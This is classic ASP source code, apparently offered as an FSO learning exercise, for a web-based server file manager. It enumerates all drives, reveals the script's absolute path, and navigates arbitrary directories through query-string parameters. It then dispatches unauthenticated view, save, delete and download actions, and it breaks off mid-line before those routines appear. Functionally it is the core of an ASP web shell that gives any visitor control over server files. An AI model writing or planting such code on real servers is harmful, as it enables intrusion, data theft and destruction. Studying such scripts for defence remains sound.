为学习FSO而写的,不要见笑
----------------------------------------------------
<%
response.write"<CENTER>"
fpath=Request.Querystring("fpath")
ac=Request.Querystring("ac")
ftext = Request.form("ftext")
if fpath = "" then
fpath = "C:\"
end if
'显示服务器上的所有驱动器和类型
response.write"<font size=2>服务器上驱动器: </font>"
Dim fsodri, d, dc, dri, n
Set fsodri = CreateObject("Scripting.FileSystemObject")
Set dc = fsodri.Drives
For Each d in dc
n = ""
dri = d.DriveLetter & ":"
If d.DriveType = 3 Then'如果为网络影射盘
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri & "(netdriver)"
response.write "</a> "
else
if d.DriveType = 4 Then'如果为光驱
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri & "(CD-ROM)"
response.write "</a> "
ElseIf d.IsReady Then
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri
response.write "</a> "
end if
End If
Next
'显示当前路径和本文件的绝对路径
response.write"<br><br><font size=2>本文件的绝对路径:</font><font size=2 color=#ff0000>"
response.write server.mappath(Request.ServerVariables("SCRIPT_NAME")) & "</font>"
response.write"<font size=2> 当前目录或文件路径为:</font><font size=2 color=#ff0000>" & fpath
response.write"</font><br>"
'设置返回上一级目录链接
if ac<>"view" and ac<>"save" and ac<>"delf" and ac<>"download" then'去除路径为文件的活动,防止出错
Dim fsoback, fback, sback
Set fsoback = CreateObject("Scripting.FileSystemObject")
if fsoback.FolderExists(fpath) then '判断,当驱动(光驱)未准备好时防止出错
Set fback = fsoback.GetFolder(fpath)
If fback.IsRootFolder Then
sback ="<font size=2 color=#ff0000>当前文件夹是根文件夹。</font>"
response.write sback & "<br>"
Else
sback =UCase(fback.ParentFolder)
response.write "<A href='"&url&"?fpath=" & sback
response.write " '><font size=2>返回上一级目录</font></a><br>"
end if
end if
end if
response.write "_______________________________________________________________________________________<br><br>"
select case ac
case "view" '查看编辑文本文件
view(text)
case "save" '保存对文件的修改
textsave()
case "delf" &nb